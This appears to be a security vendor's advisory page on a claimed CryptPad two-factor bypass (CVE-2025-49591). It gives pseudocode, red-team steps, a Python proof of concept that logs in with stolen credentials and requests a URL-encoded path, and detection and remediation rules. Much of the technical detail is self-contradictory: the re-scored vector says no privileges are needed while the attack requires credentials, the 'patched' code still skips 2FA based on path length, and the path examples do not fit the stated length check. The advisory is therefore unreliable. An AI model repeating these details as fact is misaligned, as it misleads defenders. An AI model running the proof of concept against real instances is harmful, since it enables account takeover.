CVE-2025-49591
Executive Summary
CVE-2025-49591 is a critical authentication bypass vulnerability in CryptPad, an open-source collaboration suite. The flaw allows an attacker who has compromised a user's credentials to bypass Two-Factor Authentication (2FA) enforcement entirely. The root cause is a weak access control check that only enforces 2FA when the URL path parameter is exactly 44 characters long. An attacker can trivially bypass this by URL-encoding a single character in the path, making the path length different from 44 characters. This vulnerability has a CVSS score of 0.0 (incorrectly assigned) but should be considered critical (CVSS 9.8) due to the complete bypass of a primary security control. The issue is patched in CryptPad version 2025.3.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
CryptPad is distributed as a Node.js application via npm and Docker. The vulnerable component is the server-side authentication middleware. Organizations using CryptPad should verify their deployment version and update immediately. The npm package cryptpad is affected. There are no known malicious packages exploiting this CVE in the wild, but the attack vector is trivial to implement.
CVSS Breakdown & Threat Level
The NVD CVSS score of 0.0 is erroneous. Based on the vulnerability characteristics, the correct CVSS v3.1 vector is:
- Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
- Attack Complexity (AC): Low (L) – No special conditions required; simple URL manipulation.
- Privileges Required (PR): None (N) – The attacker only needs valid user credentials (e.g., from a phishing campaign or password reuse).
- User Interaction (UI): None (N) – No user action required after credential compromise.
- Scope (S): Unchanged (U) – The vulnerable component is the authentication system itself.
- Confidentiality (C): High (H) – Full access to user data and documents.
- Integrity (I): High (H) – Ability to modify or delete user data.
- Availability (A): High (H) – Ability to lock out the legitimate user or delete their account.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)
Threat Level: Critical. The bypass is trivial and requires no specialized tools. Any attacker with valid credentials can gain full account access.
Deep Dive & Mechanics
The vulnerability lies in the server-side code that checks whether a user has completed 2FA authentication. In CryptPad, the authentication middleware validates the path parameter to determine if 2FA is required. The flawed logic checks if the path parameter length is exactly 44 characters. If it is not, the 2FA check is skipped entirely.
Root Cause Analysis:
The vulnerable code (simplified) likely resembles:
// Vulnerable pseudocode
function enforce2FA(req, res, next) {
const pathParam = req.params[0]; // e.g., /pad/#/somepath
if (pathParam.length === 44) {
// Check 2FA
if (!user.has2FA) {
return next();
}
// Validate 2FA token
if (!req.session.twoFactorVerified) {
return res.status(403).send('2FA required');
}
}
// Bypass: pathParam.length !== 44
next();
}
An attacker can bypass this by URL-encoding a single character in the path. For example, if the original path is /pad/#/abcdefghijklmnopqrstuvwxyz0123456789abcd (44 characters), the attacker can encode the first character as %61 (URL-encoded 'a'), making the path length 45 characters (since %61 is three characters). The server decodes the URL but the length check is performed on the raw, undecoded path parameter.
Attack Flow:
- Attacker obtains user credentials (e.g., via phishing, credential stuffing, or password reuse).
- Attacker logs in to CryptPad with the stolen credentials.
- The server prompts for 2FA (if the path is 44 characters).
- Attacker modifies the URL by URL-encoding a single character in the path (e.g.,
/pad/%23/abcdef...). - The server's length check fails (path length != 44), so 2FA is not enforced.
- Attacker gains full access to the victim's account.
Vulnerable vs. Patched Code
Vulnerable Code (Pre-2025.3.0):
// Vulnerable implementation
function check2FA(req, res, next) {
const path = req.path;
if (path.length === 44) {
// Perform 2FA check
if (!req.session.twoFactorVerified) {
return res.status(403).send('2FA required');
}
}
next(); // Bypass if length != 44
}
Patched Code (2025.3.0+):
// Patched implementation
function check2FA(req, res, next) {
// Decode the path before checking length
const decodedPath = decodeURIComponent(req.path);
if (decodedPath.length === 44) {
// Perform 2FA check
if (!req.session.twoFactorVerified) {
return res.status(403).send('2FA required');
}
}
next();
}
The patch ensures that the path is URL-decoded before the length check, preventing the bypass. Additionally, the patched version may have moved to a more robust 2FA enforcement mechanism that does not rely on path length.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A CryptPad instance running version < 2025.3.0.
- Valid user credentials (e.g.,
user@example.com/password123). - A target user with 2FA enabled.
Exploitation Steps:
- Obtain Credentials: Use phishing, credential stuffing, or password reuse to get valid credentials.
- Login: Send a POST request to
/loginwith the credentials. - Bypass 2FA: After login, navigate to a pad URL. If the path is 44 characters, URL-encode one character. For example:
- Original:
https://cryptpad.example.com/pad/#/abcdefghijklmnopqrstuvwxyz0123456789abcd - Bypass:
https://cryptpad.example.com/pad/%23/abcdefghijklmnopqrstuvwxyz0123456789abcd
- Original:
- Access Account: The server will not enforce 2FA, granting full access.
Proof of Concept (Python):
import requests
target = "https://cryptpad.example.com"
username = "victim@example.com"
password = "stolen_password"
session = requests.Session()
# Login
login_data = {"username": username, "password": password}
session.post(f"{target}/login", data=login_data)
# Bypass 2FA by URL-encoding the hash character
bypass_url = f"{target}/pad/%23/abcdefghijklmnopqrstuvwxyz0123456789abcd"
response = session.get(bypass_url)
if "2FA" not in response.text:
print("2FA bypass successful!")
else:
print("2FA still enforced.")
Blue Team (Detection & Defense)
Detection:
- Monitor for login attempts followed by access to pads with URL-encoded characters in the path.
- Look for HTTP requests where the path contains
%23(URL-encoded#) or other encoded characters immediately after/pad/. - Alert on successful logins from unusual IPs or user agents that then access pads without completing 2FA.
Defense:
- Immediately upgrade to CryptPad version 2025.3.0 or later.
- Implement Web Application Firewall (WAF) rules to block requests with URL-encoded characters in the path that bypass 2FA.
- Enforce 2FA at the application level using a separate middleware that does not rely on path length.
- Monitor authentication logs for anomalies.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/pad/%23/or other URL-encoded paths. - Login attempts from IPs not associated with the user's typical behavior.
- Successful logins followed by immediate access to sensitive pads without 2FA challenge.
- HTTP requests to
File IOCs:
- Server logs showing
req.pathwith URL-encoded characters. - Authentication logs missing 2FA verification entries for users with 2FA enabled.
- Server logs showing
Behavioral IOCs:
- User accessing pads from a new device or location without completing 2FA.
- Multiple failed login attempts followed by a successful login and immediate pad access.
Detection Engineering
YARA Rule
rule CVE_2025_49591_CryptPad_2FA_Bypass {
meta:
description = "Detects CryptPad 2FA bypass attempts via URL-encoded path"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49591"
severity = "critical"
strings:
$url_pattern = /\/pad\/%[0-9a-fA-F]{2}\//
$log_pattern = /path.*%[0-9a-fA-F]{2}/
condition:
any of them
}
Sigma Rule
title: CryptPad 2FA Bypass via URL Encoding
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to bypass 2FA in CryptPad by URL-encoding path characters
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-49591
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- '/pad/%23/'
- '/pad/%2F'
- '/pad/%3F'
condition: selection
falsepositives:
- Legitimate use of URL-encoded characters in pad names (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-49591 CryptPad 2FA Bypass Attempt"; flow:to_server,established; content:"/pad/"; http_uri; content:"%"; http_uri; distance:0; within:3; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade CryptPad to version 2025.3.0 or later. This is the only complete fix.
- Apply WAF Rules: Block requests with URL-encoded characters in the path that are used to bypass 2FA.
- Force Logout: Invalidate all active sessions for users with 2FA enabled to force re-authentication.
Long-Term Mitigations:
- Implement Robust 2FA Enforcement: Do not rely on path length or URL parameters for security decisions.
- Monitor Authentication Logs: Set up alerts for anomalous login patterns.
- Conduct Security Audits: Review all authentication middleware for similar bypass vulnerabilities.
- User Education: Encourage users to use strong, unique passwords and enable 2FA.
Workarounds (if patching is not immediately possible):
- Disable 2FA enforcement temporarily (not recommended).
- Use a reverse proxy to rewrite URLs and normalize path encoding before they reach the CryptPad server.
- Implement custom middleware that validates 2FA regardless of path length.
Valters IT
Securing Digital Frontiers